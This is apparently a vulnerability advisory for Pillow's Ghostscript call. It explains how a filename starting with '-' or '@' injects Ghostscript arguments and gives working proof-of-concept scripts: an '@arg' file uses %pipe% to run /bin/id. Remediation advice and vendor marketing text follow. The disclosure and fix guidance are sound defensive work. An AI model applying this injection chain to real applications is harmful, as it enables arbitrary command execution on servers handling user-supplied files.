Summary
Pillow: Argument Injection in Ghostscript call, potentially leading into RCE
PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
Type
CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)
Vulnerable Codes
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
f"-g{width:d}x{height:d}",
f"-r{res_x:f}x{res_y:f}",
"-dBATCH",
"-dNOPAUSE",
"-dSAFER", # default sandbox, does NOT stop this injection
f"-sDEVICE={device}",
f"-sOutputFile={outfile}",
"-c",
f"{-bbox[0]} {-bbox[1]} translate",
"-f",
infile, # injected here: inserted into argv with no check for
# option prefixes (-, --) or Ghostscript's @-file token
# => argument injection (CWE-88)
"-c",
"showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript
Root cause.
When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing, in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
Affected
- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
- Component:
src/PIL/EpsImagePlugin.py,Ghostscript(),infile = fp.name, and the command list entry"-f", infile.
PoC
dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.
FROM ubuntu:24.04
RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .
CMD ["python3", "poc.py"]
poc.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
name = "-h"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
im.load()
except Exception as e:
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't display `help`")
poc-rce.py
import os
from PIL import Image
############################################################################################
# Attacker controlled file
############################################################################################
EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"
# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
f.write(EPS)
############################################################################################
print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
im.load()
except Exception as e:
print(f"*********************************************")
print(f"[*] load() raised: {type(e).__name__}: {e}")
print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name")
print(" This poc.py shows the vulnerability clearly.")
print(" If Pillow checks the name of file before it uses, It won't call `id`")
arg
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
Why this is a Pillow bug (not the documented "block untrusted EPS" risk)
This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected, the guidance to block untrusted EPS input does not cover this.
Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition, attacker influence over a filename that reaches Image.open(), is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.
Author
Chanu Kang (from CysecLab at KAIST) @HLe4s
Impact
Confirmed, Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.
Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution, an escalation we verified in our PoC (execution of id).
Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = os.path.abspath(fp.name) # was: infile = fp.name
os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.
Frequently Asked Questions
- What is CVE-2026-112900? CVE-2026-112900 is a critical-severity OS command injection vulnerability in Pillow (pip), affecting versions >= 2.6.0, < 13.0.0. It is fixed in 13.0.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- Which versions of Pillow are affected by CVE-2026-112900? Pillow (pip) versions >= 2.6.0, < 13.0.0 is affected.
- Is there a fix for CVE-2026-112900? Yes. CVE-2026-112900 is fixed in 13.0.0. Upgrade to this version or later.
- Is CVE-2026-112900 exploitable, and should I be worried? Whether CVE-2026-112900 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-112900 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-112900? Upgrade
Pillowto 13.0.0 or later.